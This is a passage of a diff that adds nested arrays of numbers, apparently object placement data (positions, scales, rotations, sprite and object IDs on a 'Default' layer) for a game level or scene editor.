+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3573,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13253,
+ 777,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3574,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13345,
+ 777,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3575,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12645,
+ 825,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3576,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12645,
+ 921,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3577,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12645,
+ 1016,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3578,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13161,
+ 684,
+ 0,
+ 457.285888671875,
+ 276.20166015625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3579,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13300,
+ 589,
+ 0,
+ 184.09130859375,
+ 276.20166015625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3580,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13345,
+ 590,
+ 0,
+ 91.79345703125,
+ 468.176025390625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3581,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13437,
+ 397,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3582,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13529,
+ 397,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3583,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13529,
+ 302,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3584,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13621,
+ 302,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3585,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13621,
+ 397,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3586,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13713,
+ 302,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3587,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13713,
+ 397,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3588,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13805,
+ 302,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3589,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13805,
+ 397,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3590,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14031,
+ 377,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.05222109705209732,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3591,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14132,
+ 441,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3592,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14343,
+ 373,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3593,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14435,
+ 373,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3594,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14619,
+ 373,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3595,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14132,
+ 536,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3596,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14132,
+ 821,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 3597,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14132,
+ 631,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3598,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14132,
+ 726,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3599,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13430,
+ 393,
+ 0,
+ 123.974609375,
+ 75,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3600,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13667,
+ 306,
+ 0,
+ 368.37939453125,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3601,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13946,
+ 371,
+ 0,
+ 277.4059753417969,
+ 96.15914916992188,
+ 0,
+ 0.5235987901687622,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3602,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14132,
+ 447,
+ 0,
+ 277.4059753417969,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3603,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14208,
+ 434,
+ 0,
+ 262.8316040039063,
+ 96.15914916992188,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3604,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14390,
+ 565,
+ 0,
+ 183.0292663574219,
+ 471.5202331542969,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3605,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14712,
+ 377,
+ 0,
+ 273.4289245605469,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3606,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14622,
+ 51,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3607,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14623,
+ -27,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3608,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14623,
+ -106,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3609,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14623,
+ -185,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3610,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13077,
+ 400,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3611,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13576,
+ 168,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3612,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14132,
+ 280,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3613,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14529,
+ 375,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3614,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14435,
+ 468,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3615,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14343,
+ 468,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3616,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14435,
+ 563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3617,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14343,
+ 563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3618,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14435,
+ 659,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3619,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14343,
+ 659,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3620,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14435,
+ 754,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 3621,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14343,
+ 754,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 3622,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14527,
+ 564,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3623,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14619,
+ 564,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3624,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14711,
+ 564,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3625,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14803,
+ 564,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3626,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14710,
+ 373,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3627,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14802,
+ 373,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3628,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14713,
+ 154,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3629,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14805,
+ 476,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3630,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14666,
+ 570,
+ 0,
+ 369.3859558105469,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3631,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14527,
+ 659,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3632,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14620,
+ 659,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3633,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14711,
+ 659,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3634,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14803,
+ 659,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3635,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14527,
+ 754,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3636,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14619,
+ 754,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3637,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14711,
+ 754,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3638,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14803,
+ 754,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3639,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15012,
+ 499,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3640,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15104,
+ 499,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3641,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15196,
+ 499,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3642,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14898,
+ 544,
+ 0,
+ 200.2014465332031,
+ 87.62319946289062,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3643,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14713,
+ 290,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3644,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14712,
+ 290,
+ 0,
+ 76.83200073242188,
+ 79.30245971679688,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3645,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15288,
+ 499,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3646,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15290,
+ 168,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3650,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15202,
+ 417,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3651,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15381,
+ 499,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3652,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15473,
+ 499,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3653,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15565,
+ 499,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3654,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15657,
+ 499,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3655,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15750,
+ 499,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3656,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15008,
+ 151,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
